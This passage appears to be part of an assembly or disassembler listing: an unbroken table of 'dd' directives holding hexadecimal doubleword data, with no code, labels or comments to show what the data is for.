0C812AE6Ch, 583ED801h, 8E1165D5h, 0B80FD0h dd 1964214Ah, 7A71D485h, 5C495098h, 0F4AA725Ch, 94549801h dd 5BC507C4h, 0AB83F840h, 49A388h, 183A2363h, 8EC23CCDh dd 0E814331Fh, 84F5950Ah, 52CF615h, 0EFE6436h, 901FA849h dd 3A6B9A80h, 5F308C88h, 0AE16BBA0h, 0F606370Bh, 0FF1011E9h dd 4A23FC50h, 7C6500C5h, 573FA89h, 3C9A7A91h, 0F3951618h dd 209A29h, 3D471A5Eh, 8D6C314Eh, 45C80C00h, 0DFBE54E7h dd 9A0402C2h, 35D9DDBAh, 0ED1C4C48h, 10C4A448h, 74040840h dd 0C9F5650Ah, 648307Ch, 2FCD240h, 95D81B49h, 0C0441F7Eh dd 0AA0D8B12h, 3022F100h, 0A9BC4Ch, 6A9FEECAh, 0F1038F89h dd 0FB059D09h, 0D41C90E3h dd 10355983h, 20F31713h, 317CF430h, 8418CC61h, 4450F064h dd 0C4746E79h, 898BECF9h, 814AF4D4h, 1C0F751h, 6016C4A8h dd 6A880738h, 13D600C2h, 3BA8A097h, 2701E38Ch, 9BF7BDCBh dd 0ED2139E9h, 0D55060E2h, 0A988985Bh, 0F65A0Ch, 0BBC9EDEFh dd 2EE09800h, 50344D32h, 6F8B2680h, 41C966Ch, 0C85610h dd 7DB7D042h, 0CFEE8B1h, 0E995F1E4h, 202254E1h, 0EC1502D4h dd 0FD64D759h, 0E6174A1h, 49170072h, 6091370Ah, 8C10EB89h dd 870104E8h, 664ABFFEh, 0C5FC6886h, 1CA20984h, 6890DD06h dd 59C00294h, 0BD566FC7h, 6E290228h, 0F3063FCEh, 8C18E466h dd 0C98BB15h, 1CF54C37h, 4846728h, 85EB25C6h, 0EDCD069h dd 0A12AC26h, 9C4FE197h, 647006Fh, 0C21767F0h, 73245451h dd 899820A2h, 0FD0C3620h, 0FB30328h, 772C5C68h, 6B35281Ch dd 307D0A86h, 7FF480F1h, 33678818h, 0B053CF0Ch, 30153163h dd 0D2E10996h, 0D307792Eh, 0EC78177h, 19E59840h, 13CE0094h dd 0F0384868h, 0C4B0F730h, 0C8EE7D28h, 0F2C3320Dh, 0EC64C969h dd 0E71C315h, 19057D2Eh, 0C5085374h, 0DA799001h, 9474A8E0h dd 64B8141Ah, 1F3844F2h, 33CAE960h, 0AA1C2746h, 0A35EBA4Bh dd 0EEE0F104h, 5CC2FCC4h, 3E3C2E64h, 0FD2DB69Fh, 5983FD80h dd 42354F2Bh, 8CB1AB73h, 0C32A80BBh, 0DFD6966Ah, 143E4C53h dd 0C0593075h, 0DBFBCA59h, 0FC68E054h, 0D03091D3h, 4AF0DF3h dd 2B7FFE0Bh, 0D37CC0E5h, 4113DEF2h, 4140338h, 0BC941044h dd 54BA773Dh, 85791962h, 0B069DF20h, 478D3F1h, 6BB5218h dd 81EC7Fh, 0D4F013FAh, 0BF3DD3F5h, 5A01ED77h, 1985A348h dd 449F1C93h, 0D938302Eh, 7900B83Eh, 2F9CC1F2h, 2091B75h dd 8CF52463h, 0FCA45D95h, 8B408774h, 327FC811h, 156D009Ch dd 0E75FB486h, 297CD5h, 3F30D08Dh, 7D49DDB9h, 3EDC0D50h dd 61920A3Ah, 6039DF41h, 7C8DE195h, 2C34EC7Ch, 0BD4B1E5h dd 0C9801536h, 0B86EE3CFh, 0DD20BCB0h, 8600900Bh, 0F365258Ch dd 0CA8E9818h, 34222E81h, 0AD03803Dh, 0D95859C6h, 641F6015h dd 0C00A0FD4h, 30D012D2h, 2856BAh, 98655F72h, 2BA8FF42h dd 9E176828h, 0C0F7D028h, 311D1F31h, 227EA1h, 393C1B03h dd 0DD807944h, 29ECAB06h, 11EA2F00h, 0FCC9FAA2h, 0CEA902FFh dd 61D03558h, 95A44880h, 0E77C637Ch, 0FC1305EEh, 0C0FDF20h dd 8002F075h, 0FA83EB19h, 51F6FB22h, 4050960Ch, 0CD1DC7A4h dd 0D1607D83h, 74B6E110h, 696D0047h, 0C354D7Ah, 0F4605BD6h dd 59D83021h, 0D8FA6734h, 681F06B7h, 11746020h, 12ECDA06h dd 0B82181EAh, 0E851729Dh, 38C80180h, 1E2706F8h, 31737E53h dd 0C9013BF2h, 18DC67CBh, 0B030A659h, 68888BB1h, 5E69518Ch dd 9C44E0h, 2D0D792Ch, 6BE4F5ABh, 0A5496F2h, 970FB4F0h dd 2C3AD523h, 0F7A9B0E9h, 123162E0h, 2320AB9Dh, 529009C0h dd 0EC004ED9h, 4BC2F258h, 0C9C069FEh, 2C821720h, 6CC8C37Ch dd 0F213801Eh, 20900E95h, 0E139D836h, 9700D82Ch, 0D6E1CBC6h dd 7D601645h, 0CA87F620h, 0D25A2432h, 0E8E208E0h, 846A1701h dd 0B041AF0Fh, 4C2929E5h, 492AF43Eh, 0DB0E1DD4h, 0BC4B14F1h dd 13801234h, 96AC0BAFh, 88083492h, 0A87F5904h, 0D8E4E0E9h dd 0B7ED30A0h, 312A9780h, 9D1D7BAh, 0B069DA92h, 8C331Ch dd 27CA1EB4h, 0F6B032h, 0BBF2E6C0h, 430B0C33h, 6891F165h dd 260F685Fh, 0B5E806F5h, 20D44A10h, 1122214Ch, 2D48A1C3h dd 0D846A854h, 12E600B0h, 527F7CD9h, 0B25770D1h, 80E48830h dd 6137120h, 480023D8h, 79D21298h, 0C9FDDCCh, 0B6588467h dd 82601128h, 59C37E1h, 6CA51E86h, 617503ADh, 0F00455D1h dd 0BDAF917Fh, 4FA480D0h, 0A0A4AB16h, 80E0E5E3h, 8A446F6h dd 0BC83942Ah, 0ABC9851Ah, 94888F41h, 0CD785D4h, 64FB083h dd 0F1F05F91h, 60379DDh, 5CEF302Bh, 1621064Bh, 5918F065h dd 0AA35453Bh, 0B4B01849h, 0FEE0C654h, 750A9E12h, 0B1E9CC0Ch dd 0BD680A1Eh, 80DC35DCh, 0B7BA370Fh, 7A067520h, 0CEE30BD6h dd 451C0941h, 88A0CAA0h, 0F6DAB9FEh, 3FD6E00h, 3ABB30F2h dd 7CF80113h, 6173E219h, 85898AD5h, 0E44E9859h, 0BF416894h dd 227D3A9Dh, 0CC932EE4h, 809B670Eh, 955578BDh, 0C47201DFh dd 5DB25C7Eh, 18945117h, 14C8A920h, 0B1638000h, 3364C808h dd 56125FEh, 4F01015h, 83803A90h, 648EE9Ch, 7CD1D5F1h dd 0B4D65ACEh, 0D0ED5428h, 628A718h, 587E3602h, 1A71F310h dd 53F1F500h, 0D5F6AD67h, 5C987774h, 13D87244h, 1108C4E2h dd 60A140D1h, 3D7C663Bh, 7F120E0Dh, 1382E05Ch, 0C405379Dh dd 0D3251F91h, 497CCDB8h, 0B03C7056h, 0A839FD64h, 5CD7EEA4h dd 5894AC28h, 0D134E229h, 40DE0B3Fh, 13C76C7Fh, 1A3F51A2h dd 3D441Fh, 7FFF9C36h, 9E8DB173h, 56BAF4B9h, 0D8BCC8BCh dd 0AC6198EBh, 0F8754C61h, 2A650820h, 78A8E5FEh, 0FB7340DBh dd 0E446EF4Ah, 42A9B4BCh, 6B61102Ah, 0FB6D9201h, 8070930Ah dd 53DF171h, 83D844h, 5080A6EEh, 7A489DB9h, 7091D4h, 1F3C1DE7h dd 49EF6518h, 850738F2h, 0C5F677C5h, 0CF203243h, 27FBC90h dd 0C7A01950h, 249C9E48h, 0C903A0F5h, 0E1FD581Dh, 8A8E045h dd 5EC22010h, 0F2645B00h, 0C0BF952h, 9BF8002Dh, 803A9F8Fh dd 0A60306C6h, 201EBDB9h, 4F3EA837h, 12C1009Bh, 0C7DBD965h dd 0F300BEA8h, 1E61FE5Dh, 0A5E238h, 9629DE4Dh, 0FD0BD7B9h dd 0ED79CA03h, 0E842C31Dh, 0D660C5A3h, 9560640h, 0EC0040B8h dd 0E01AF761h, 0E44D9Ah, 0B4D27455h, 1EB1FE9Fh, 0F0DC39h dd 10ADE4Eh, 7D37680Fh, 0A99D0074h, 8EA66F3h, 0DE121AFAh dd 0E85A3B9Ah, 5F0435E0h, 591CF82Ah, 10090813h, 0CFD800E0h dd 2ECA6A44h, 3EA8A7B4h, 0E8BDD00h, 0F7A3E84Eh, 0DA726D1Fh dd 481B41Eh, 7FE61A2h, 0F6F826C0h, 12E10383h, 0B6C7D279h dd 4F2D23E8h, 46C32500h, 30E4D58Fh, 0ECDC0360h, 0F4100DCDh dd 2104075h, 0DB00F72Bh, 0CDB78212h, 0B500FF0Bh, 0DC18F111h dd 1798214Ah, 0B429F7h, 0C49ECD9Fh, 402662A1h, 0E101049Ah dd 3FDD9C6Fh, 9C34093h, 94177C38h, 0EA67015Dh, 0D92105A2h dd 125F60A6h, 0CDD27C00h, 1528FF0Ch, 0CCF1244Fh, 0C1B00094h dd 0DB4C5F2Eh, 0A9CABE02h, 0C0FE5CAEh, 39332D58h, 29007B9Fh dd 68B4B86Ah, 370019AFh, 81BB364Ch, 0FB1BC2Ch, 7EF07524h dd 40FB6626h, 0F8091408h, 80911C20h, 0BFD29558h, 0BD00D168h dd 0C78BF319h, 7B0E17Fh, 0DCCE6D0Dh, 0AA09307Eh, 575169Fh dd 331A0C00h, 57E28FA0h, 0BFD40B95h, 8C3575CAh, 0A95D805Fh dd 461F95Ah, 0A5E12500h, 6C46CF90h, 0CA0300C9h, 0F51D0CFEh dd 301D0E8Ch, 0F03B2F3h, 0F92DE471h, 68E8AB09h, 0A670F9h dd 7BB6DA6Ch, 0D17C41F8h, 0B9B4C300h, 1EDD68BCh, 4D7F00C2h dd 751F0898h, 0C803F87Dh, 16A0FE9Eh, 0E0F9DB15h, 810CF4h dd 0CC8612EBh, 0EFEA706h, 264A1E00h, 0D4F7FDDh, 0CE1F07C2h dd 70B5EEF0h, 4C16F5B8h, 19000970h, 0E384B233h, 2BA4755h dd 2D040ACDh, 0ACC14B68h, 5D161058h, 0BB6F3EDAh, 4D108CCh dd 4300FABFh, 19932A99h, 0CE0028B1h, 0AA0EA527h, 0A5CB7522h dd 92B05834h, 0DD011D07h, 0A0DE22B5h, 0B9D52794h, 11F010FAh dd 0AC1FA17Dh, 95F07CFDh, 7DBF0180h, 1878D398h, 88423E81h dd 0D01F3CD9h, 0BC1A00F0h, 73EB2831h, 6925F01Eh, 0F6B8689Dh dd 4AE70104h dd 0E18B9FD0h, 0A9B0F4CEh, 0AF506300h, 0E8043747h, 0DAF63069h dd 85180958h, 0CC56C919h, 80C37610h, 9D392A96h, 707B7C87h dd 8D1FA607h, 602DD628h, 0FC7C6800h, 0B04B341h, 0B2171421h dd 5C81C97h, 14F45212h, 3B4A0079h, 7A733E55h, 0D4F2A36h dd 0C9C88h, 17414D74h, 392B56B5h, 2E8D441Eh, 57C70B80h dd 60AE69E6h, 0D608A8CDh, 19DB053h, 0B54A7F54h, 7057F611h dd 22372EBDh, 8A07912h, 37DBE30h, 9506D109h, 0EAA2D0B1h dd 0A057A8A0h, 0FA17042Fh, 75C34962h, 0E27AB139h, 4F3B0CDDh dd 0B04894CCh, 50EF6506h, 7EEDB0D9h, 0C90660A3h, 193028FAh dd 0D11A7F04h, 64A89770h, 0F880FE2Dh, 253041C3h, 0C766CE00h dd 2F33505Bh, 0C986096Ch, 18526F92h, 7D887EF0h, 0D549324Ah dd 38971B88h, 0B680F011h, 28E6B734h, 0DE802200h, 0B3170C61h dd 0CFA40272h, 918DB0E9h, 59DF4081h, 53F9Ch, 74E09E03h dd 0B1E225F7h, 0BA2B7440h, 1D456200h, 78D2127Fh, 6D91188Ch dd 7CF84029h, 161CCA50h, 4524D604h, 0F0A8DE2Dh, 6309F733h dd 2CB62101h, 0FC4EA145h, 3CE5BBDCh, 81D12FF6h, 8D0B3850h dd 6E72F9h, 5940DAC8h, 0F1BE852Dh, 0A8C212ECh, 0D4AE817Fh dd 6DB1F80h, 0E0B23C31h, 0CE979500h, 1315454Ah, 0E4641C5Eh dd 40FF5222h, 0C21AA00h, 0C9000466h, 0A9289183h, 135B024h dd 34E670DEh, 202DE12Fh, 0FDA26108h, 41746082h, 7D1F3C74h dd 0D8908h, 0FBF943FEh, 0F82A0346h, 0DC8744DAh, 4261FD44h dd 7DA5D85Ah, 38A6A000h, 0F5C78E12h, 85103DA7h, 0A24090CEh dd 2800084Dh, 6F057E9Dh, 346C82Ch, 30E7EBA7h, 0FBA0EC0Dh dd 25887CD7h, 0A52F30B2h, 67E5C650h, 771F3900h, 7D461715h dd 0DB29C06Fh, 0F60DD7B2h, 71F2C30Ch, 0C0E309FCh, 0D7CABB21h dd 1C02B375h, 73CDAC05h, 2147C8Dh, 0FF1129DDh, 0F2229890h dd 7F171405h, 883A1D26h, 23EF623h, 75F2BE12h, 68B888CCh dd 0FCE49412h, 0C8D904ADh, 0C0561206h, 8017D0A2h, 92F9C238h dd 0E0F2624Ch, 3C9C4500h, 0B253711Ch, 2304CB02h, 48081F16h dd 0EE342BCh, 0A1750358h, 9CD30720h, 680097D2h, 2E621E81h dd 54BD99DFh, 74ABA430h, 0D79809E3h, 0D898A93Ah, 0DCEAB901h dd 0C06CCD00h, 0A7F634E9h, 0F383A5Ch, 9ACF548Ah, 78950098h dd 0EF49E2B7h, 0F4265CE2h, 15033875h, 0DEF065h, 3A4E50E1h dd 6D9701EFh, 9109710Ah, 298084BAh, 0EE18C263h, 0A094BE44h dd 26A746B4h, 7F09402Ch, 1C3C1C3Ah, 183045D7h, 2319E28Fh dd 90993431h, 80335E84h, 1760415Fh, 34CF6E69h, 0B020411Ch dd 21526906h, 11426001h, 8CA10C0Bh, 0B302E24h, 88482A14h dd 47C580EFh, 3EA35430h, 27F3C701h, 755F1E0h, 4B84F834h dd 2094C145h, 0FC6CCA75h, 0BC300A02h, 19D0F97Dh, 0A25110F0h dd 7A60002Fh, 3BE5E4B3h, 9252CD6h, 28246879h, 2D1007BAh dd 0F98517BCh, 67449024h, 0F60BD7E0h, 0E6448C93h, 0D7B400B1h dd 0B8A98E98h, 4D0BAF2Eh, 52FB64C0h, 7A092D24h, 270D84C8h dd 47917F08h, 61D90229h, 0FC74E8ACh, 71129080h, 167A75D4h dd 0A0BE9441h, 0EB25A138h, 0D0BC687Fh, 744F0626h, 89707D28h dd 65BFA300h, 71294669h, 0ACAFE43h, 8E9BD834h, 8EA0B8h dd 308F39D2h, 9D17680Fh, 9E70A39Fh, 7CAFF088h, 0CB761EF8h dd 6EBDBEF2h, 74E31287h, 8057C233h, 8580B0AEh, 20A39A24h dd 0C4547B12h, 94041C52h, 0E4BDF745h, 0B4ED6409h, 90AD14A5h dd 6B49FB70h, 1BAC7407h, 0E7E6F280h, 47BC8118h, 0D708BD18h dd 0C4BBF608h, 0B5BE40E1h, 5F32AD7h, 90283344h, 1550C181h dd 437C02E3h, 0FC40D49Ch, 426C25FDh, 4CB04C9Ah, 2A0450A6h dd 8A7F1B30h, 0C120F362h, 398C3043h, 0AA2B968Fh, 95B30BCCh dd 0C90F345Ah, 0E0B840h, 963AC10h, 14880180h, 96C025BEh dd 0D4F7F18Dh, 9E016DE6h, 2B15EA1Fh, 0A035F5D5h, 7442A40Dh dd 30143022h, 0E97DBA11h, 5380EE88h, 8723300Ch, 715C0133h dd 2C1E27Fh, 9EC45C51h, 63AC20B5h, 0FC35442Dh, 1E170012h dd 452B6BFh, 0C89995D0h, 5F3F7080h, 5D674Ch, 0E0FBCB74h dd 0C41CC03Ch, 1BB13A00h, 0D0A41724h, 1A9002BDh, 0C87CFFC5h dd 26040CECh, 20DE2F45h, 0E22E6262h, 0DCC6452Eh, 0E250E30h dd 20C098A2h, 6427D874h, 0E67B0020h, 40CB073Eh, 60127087h dd 9C00E7E4h, 0EB260BB0h, 0F0AF0551h, 80ECA439h, 0F2FB17C8h dd 9D829574h, 1463DECh, 48090B44h, 0D830D8E6h, 74F61763h dd 4098A1FDh, 918E9FB0h, 8CBA624h, 7C680C02h, 5C0D495h dd 486B7E30h, 0BBC04140h, 46F60AD7h, 0D822ABh, 1DD7B3B0h dd 0C2A1A918h, 0F44A7507h, 817909D5h, 7DA60814h, 0FA84F9E9h dd 0F90A6B73h, 1E163F04h, 2000B12Dh, 0C686BD17h, 80FC4F39h dd 0B902A060h, 0FE506178h, 84251994h, 65BC07D6h, 88BCD1BBh dd 0E09732Ah, 91D01717h, 0B2409FE6h, 3CADF838h, 2D3B7B43h dd 5C40AC69h, 6E20C97Fh, 0C4F614E0h, 6430D81Ah, 3D677540h dd 7C04D374h, 0E33E697Fh, 0B5C85CA4h, 17B70C03h, 40E825D9h dd 6183CC80h, 7891D44Fh, 0F80CE665h, 8927C41h, 175060B5h dd 0DE232A45h, 90482718h, 45001FB1h, 0F235FDA4h, 0F28E82EFh dd 541548D6h, 1DBC0474h, 0A19A7917h, 1A93004Ch, 2149751Fh dd 301380E0h, 43017DB9h, 98E922D1h, 882F007Eh, 8634596Dh dd 0C700D567h, 3A64C820h, 99E31639h, 13831F94h, 3378A0BFh dd 5C2E2F3Ch, 0E6651198h, 48233894h, 84D7B00Bh, 0A8CEB348h dd 0D7C8BD01h, 2FB622h, 31064410h, 0EA2175D9h, 0DC543B98h dd 80AD027Ch, 292B91h, 7FA19AD9h, 0BA2C8D01h, 76582D34h dd 2025B029h, 0EE11D897h, 5A967F80h, 0F60BF4F2h, 0A2DFE1E2h dd 609F9730h, 93FDDFAh, 3C441DEh, 7F116C22h, 9080C0D4h dd 0EBE77BEAh, 0CA99006Ch, 0A0EEB4BDh, 0F80308FEh, 73D9AB69h dd 0C484A9B5h, 27E5D074h, 0FCE06549h, 0A955802Bh, 0D30E260h dd 0C4AF5B30h, 0EF604834h, 2FA55685h, 0B955F681h, 4C923ECh dd 0C2798041h, 0E660B5DDh, 0A6488229h, 302D1894h, 527F2411h dd 0DA80F288h, 59323046h, 0BCECE6h, 12E5C68Dh, 2CC9CF5Eh dd 6C47B12Eh, 339B040Fh, 59D80041h, 0F822EC5Ch, 90CC2610h dd 0A79A003Ch, 6E8C69A1h, 11B8B9EFh, 3007802Dh, 8CA17DBDh dd 58210260h, 38262FA7h, 80235FAh, 0CCA2F279h, 0C819A8A0h dd 1361F1DEh, 1CFF2DF9h, 80E80854h, 0BC667B27h, 48426505h dd 9488E27Ah, 4B224A1Ch, 1800F8E0h, 30C7F13Dh, 8BFA2F1Dh dd 0AE6ADC3h, 7DE1C8ABh, 0E00892EDh, 0F9A75056h, 79C3246Eh dd 273E003Ch, 4780F8F5h, 46BE5C2Dh, 0E7280560h, 3CE4AC9h dd 0C01EFE94h, 0C95EAB8h, 0C77398A8h, 0D4998B00h, 656A0735h dd 5DC80026h, 0CF719858h, 6D26DAC4h, 161D60D2h, 41751120h dd 0E8445854h, 84048CF6h, 71128118h, 27512488h, 401D9D8Dh dd 5F81F111h, 615E46C1h, 4C6F56Ch, 3C4EA8C1h, 424DD070h dd 0B8284802h, 0D1038CE5h, 58AD46E6h, 2B1890A1h, 4309E9Dh dd 0E1DD8431h, 0FC2FE124h, 0B7182377h, 9FC10394h, 6B07021Dh dd 0FC6443C7h, 5483907Eh, 1F680804h, 6497EA71h, 0A7468708h dd 0CC367037h, 0E51209C6h, 94D56863h, 7CD83680h, 50AD4F8Dh dd 222C054h, 0C0DC350Fh, 735921E9h, 198086EAh, 250F301Ah dd 3202C45Dh, 430AFDC2h, 258D6A1h, 0DA7C4AFBh, 0EC17C4BAh dd 0E280FE11h, 0C699AF0Ch dd 525DFA00h, 2834B686h, 2A1B0036h, 81D6AC74h, 4995D966h dd 166FFC7Ch, 0CDC0019Ch, 20C88EFAh, 0F941ECF4h, 60EA7AF1h dd 72586C0Ch, 65110B81h, 6C4027EFh, 589AF922h, 0BDF82C1Eh dd 38ED5A80h, 7E99FDh, 87951D6Ch, 349DBE44h, 4640A494h dd 2F67D907h, 5460B454h, 6918DF0Dh, 9778E91Ch, 0BCF549D4h dd 809FF71Dh, 8612809Ah, 7D5AFEC9h, 40D998C8h, 98B12074h dd 86760478h, 9DF334Ch, 0E0C18CF5h, 60149DD4h, 1B46A97Dh dd 0BA5CF0AFh, 2EF1102Ch, 5D117601h, 11CD6CEh, 0F801ED8Eh dd 0A2C433E0h, 0F98930EFh, 2213F00h, 0ADE1E838h, 8B889EF3h dd 6068C6F5h, 1C80EE61h, 1A6926EDh, 47AEBEC0h, 7B7D8378h dd 302CD7D5h, 0F460E4D3h, 5D64E174h, 3A106CB0h, 97004CCh dd 0EC505F91h, 9780DC58h, 252464D8h, 41D7D912h, 818D1420h dd 4C83B75Eh, 6117102Fh, 24A280EAh, 0F605F121h, 0C8F8657Ch dd 94AB9601h, 739B920Ah, 0A8F45DA4h, 0C37E2E83h, 60436450h dd 2314D7B9h, 0E4119BF6h, 0D7B1B200h, 0D56DD43Dh, 8E7B8602h dd 0E8DC2669h, 0B6B85940h, 8C9A0E68h, 0C2B03D6Dh, 533F9C20h dd 0F0640C40h, 0ADF00B74h, 465C9C9Eh, 626A00F4h, 12FC6E85h dd 0B57E12C7h, 8030DE1Ah, 0FAA9DA0Fh, 3A6F021Ch, 6842E1C4h dd 54AC9055h, 0EF7C3BCAh, 3DA6D6ACh, 1308A00h, 0FEB6BAB8h dd 8F87F616h, 0B0767500h, 0BD6D427Dh, 0C6773005h, 0D09E5E50h dd 885CFE02h, 8C38DEC9h, 9D952EFh, 88207C4Fh, 24622182h dd 74881CCEh, 0D500F046h, 0BED8E008h, 640B283Bh, 18D33A42h dd 0BFB51FACh, 0A954F090h, 80568A3Eh, 804C0651h, 3632096h dd 68A21718h, 45F002A4h, 5D0512A7h, 0E7EBD129h, 2D8738ECh dd 0AA6BD0B8h, 9503B226h, 0A5C4D0C1h, 0D880BBADh, 133BD32Fh dd 897C1294h, 4DC841B0h, 0C7543DF3h, 0BCC52F34h, 11048085h dd 0C8E477B5h, 0E5732874h, 189098B3h, 40FB6D43h, 16092FF5h dd 5498EB26h, 0C9E2418Ch, 80C441EAh, 91088B8h, 843203E7h dd 484F7001h, 0F8CBA052h, 0E1C0F0C8h, 205E58Ch, 0F5198A20h dd 10FCFD74h, 59C03601h, 3471DF18h, 96C4236Fh, 0DDFB4117h dd 0B948C21h, 2DD0F050h, 565F0E5Bh, 24201CB2h, 0CAB93C48h dd 807130C8h, 9E4A7946h, 928D22h, 0D8606813h, 2ED5B8C2h dd 0E1F59526h, 673FCB00h, 66E3496Fh, 0BE36007Ch, 0FDC96B48h dd 0EB01ED08h, 0C82D0FB7h, 0E442C6FBh, 14D0C435h, 0A0AF86D8h dd 2FD53910h, 0A8E615h, 1D42ED7Eh, 4F9289D7h, 0D400AF5Bh dd 79747C0Fh, 8C099C7h, 88BBE725h, 3A70E681h, 43CAEB3Fh dd 0DF7D47DCh, 0E823E91Ch, 0FE54380h, 0CD92F8h, 0EB7A80CAh dd 8107CCD5h, 8C5650Fh, 0B678B27h, 3C6498h, 245B9B79h dd 0E557E966h, 0A6359C04h, 85400520h, 0F97D9298h, 59635E00h dd 3A3D5280h, 0EEFAEEAEh, 0F1D80B2Fh, 0A801FD8Ch, 7A58C78Dh dd 0B0C6200Ah, 78AAF680h, 5C7DE30Bh, 4588D005h, 0ED7AFC0h dd 80CB43F6h, 90D7C7BCh, 1C4E01EEh, 7D8E44F5h, 502570E2h dd 0C1105492h, 0F7C2B1D1h, 9854854Ah, 1A582842h, 7917F810h dd 37E1E25h, 9646178h, 0DA81E5C9h, 39F194E0h, 18F52834h dd 21CE3CD2h, 82697BCCh, 6149E779h, 24A8C4F8h, 44C86075h dd 0E98982Ch, 2D80304Ch, 901699h, 0F62FA655h, 8A8370EAh dd 0F927A4B0h, 0D6109107h, 3A152910h, 0EFEA5904h, 8AC205Ch dd 480AF087h, 0A1CFA407h, 0C6841AD1h, 0C286874h, 0B8347249h dd 0D7221C38h, 88DFF0B1h, 251DCB09h, 0C97184FDh, 7889B617h dd 6824589Dh, 7760C1DCh, 6CF3C7E0h, 95BBF2C8h, 20BABDE6h dd 50DA7E30h, 25E50A80h, 8C23FE63h, 69F06768h, 2C9C28EFh dd 62950C88h, 4F61302Bh, 83E03322h, 0F83044C4h, 1D4908B7h dd 0E50D1A14h, 6A006872h, 317988Dh, 1FE1D2h, 7EB1807Ah dd 7F9518F5h, 0EEC20703h, 0FC58BFA9h, 1E21CE2h, 0F07E6130h dd 0F6BC3268h, 2C7222C0h, 6D7A9A00h, 6C8AAF04h, 19D200C9h dd 7DA36AFBh, 0C0597EFh, 7B0A07CEh, 2FC48C8h, 0DE2A3067h dd 18C606BDh, 0A286B505h, 288193E2h, 0CB05EFFFh, 75EEC440h dd 4362CA30h, 7D12AEECh, 8C10D4Ah, 0A8738EEAh, 0D61FEF21h dd 0B20ED9Dh, 0BBCEDA79h, 803070E0h, 174D0F9h, 0E7022CB6h dd 5C97EB36h, 6A8081ACh, 2E12D8F5h, 100D108Ch, 50CA4669h dd 0F74390A8h, 7C9F152Dh, 0C885DF11h, 6D6CE494h, 10D6C300h dd 9744B095h, 983B72DAh, 89C544B4h, 189E5E7Eh, 3044674h dd 7829DC0Ah, 19EE20h, 0E4520234h, 12C39037h, 8C40C207h dd 78B9471Dh, 73E22068h, 83EA770Ah, 158FB828h, 7846F72Bh dd 25C1A294h, 0F05269E5h, 2F7FF700h, 8D2AB877h, 1A193261h dd 0D4911D18h, 0E918887Bh, 1F495018h, 8401795h, 5C607602h dd 976DDA80h, 465608Bh, 0C960E3E4h, 0FA26641Fh, 0C4083021h dd 15BF62D1h, 46760456h, 0E4000F0h, 0BEEC3208h, 46A70103h dd 0C3F7B590h, 0F19430BDh, 0A8220C5Fh, 39DF2074h, 50B2EA78h dd 6894794Ah, 0B3188Ch, 15279EE9h, 4F18F99Bh, 9FFB810Eh dd 0F140D832h, 7FFA403Ch, 0DB566110h, 8B174B7Dh, 0CBE28850h dd 9FA9E400h, 241841DEh, 8198B1D9h, 0FE7540D2h, 0B9EE5300h dd 95173F3Ch, 2FCF0571h, 8C24C7C1h, 0AF03FBDCh, 0F638C9EAh dd 0FDA4A8A2h, 0BAD044Ch, 0B3B17CF8h, 451B0778h, 0E3D4DE36h dd 90A0CE32h, 8F45239Dh, 0CF014A78h, 869DEB6h, 8464B301h dd 299D3E6h, 0B1E88C90h, 0F4D1E079h, 0B7A9C819h, 9FD34739h dd 7404E867h, 60BEC0FDh, 99B25CA4h, 0A46638h, 683E1579h dd 56736A8Fh, 163EE027h, 0D031840Bh, 0C9F29CA0h, 8A8350F3h dd 3DAC6018h, 212A1292h, 440C3717h, 0D861417Bh, 0D600B307h dd 145F39DEh, 44A2D413h, 15A5F0A1h, 61C8083h, 6A917F49h dd 0DB0738EEh, 9C61AB59h, 8C219C0h, 2A58C425h, 0EA025270h dd 0C667A045h, 0F27D16B4h, 6820C079h, 474E2F7Ch, 5C236CCDh dd 0EB3003A2h, 0CB4E26A8h, 7C9A08C4h, 0AD3CD901h, 0E458A016h dd 26300B2Fh, 0EC45427Fh, 3048D880h, 20797FB4h, 0D11DDA2Eh dd 9CA9F859h, 0A4D02208h, 74E10878h, 4DDAFD02h, 21C8E4EBh dd 0EAAF7698h, 0DCC45C80h, 34CCE248h, 30C379B2h, 0C5339C34h dd 4F409A4h, 50F45C18h, 0C9B4AAC9h, 0E814D3ACh, 43C8BC18h dd 681F007Ch, 0BE4DEE51h, 0CFA1058Dh, 77868511h, 56E48488h dd 1C4D4CBh, 8093076h, 3DFD07FCh, 81224A4Eh, 41178D63h dd 8DFBABCh, 39186786h, 0CAFE8467h, 0B0B62AC4h, 4A81173Ah dd 5CF608D0h, 150B4DCh, 0E039F02Fh, 0A491DEE5h, 0CCBC14C4h dd 48CDFBCh, 585CF551h, 66F892D3h, 43C0E527h, 1D334C18h dd 0BCD5Ch, 70066CA3h, 5D57B020h, 2CCC2E60h, 10E1CE62h dd 58A9DEA4h, 521B10C6h, 8883889h, 61743587h, 0D809C9C0h dd 647898DBh, 7C930078h, 0F0A0C22h, 0E22081E0h, 42650271h dd 16357A36h, 0DFE4A0C5h, 0F3946460h, 0D09A71C0h, 3E5D17FFh dd 0AD805CC6h, 6355304Eh, 0F83FB447h, 5B28898Eh, 0B9589F86h dd 10B1DA11h, 3684C8B6h, 55082F64h, 0BD84B1B9h, 224851EEh dd 0A6F634E0h, 0CF7443h, 328AB487h, 0A81D5D3h, 96447E4Dh dd 0EF23082Eh, 95006013h, 34786549h, 6DD1262Fh, 0E3A109F8h dd 75549864h, 0AE25F6C0h, 62BCE618h, 7CCF207Dh, 0AC59BF00h dd 45B25EF7h, 0CA865E54h, 2C904AE0h, 0A0E42496h, 91BFAE90h dd 536E96BCh, 0F200A2D0h dd 0A88730EFh, 0D6F60228h, 223018F0h, 0EAAD21FBh, 8CF7000Dh dd 0FB2B98Eh, 801C441h, 7C67C797h, 0DC24D565h, 8E862C15h dd 84606B94h, 7A0F8C12h, 40947F18h, 372A6D39h, 91954E0Ah dd 2E4A40F8h, 0A25E54C0h, 0D5B10458h, 0C9B983h, 0A41C7420h dd 0EB23167Fh, 0DD209089h, 28968529h, 84191C01h, 453BCEDAh dd 0FF7818h, 0D036B7A8h, 0D092C039h, 2A7DC80Bh, 244C41F5h dd 123C20ACh, 8DA8C244h, 0BB9660B0h, 0FFE0A80h, 586BB6E1h dd 0E2F2D3A0h, 0FF097920h, 0B3B47CF7h, 2B4598DCh, 7C73E1DEh dd 45229C80h, 0AB00E746h, 7BFEE013h, 0E834FBB7h, 8138BE20h dd 957D7856h, 1F63C435h, 21EDF02h, 0E674384Ah, 20E0B088h dd 1700DBFEh, 0DAC259ECh, 0A0E09C39h, 80E34A10h, 0FE3C2BD9h dd 805D2A7Eh, 94181524h, 0E36A2F00h, 163746E5h, 8BE71A7h dd 48806544h, 0F979ABACh, 35A301C4h, 0CE64477h, 46E1400Fh dd 0BD06ADD8h, 0D4405E85h, 918B0579h, 40C2BCE4h, 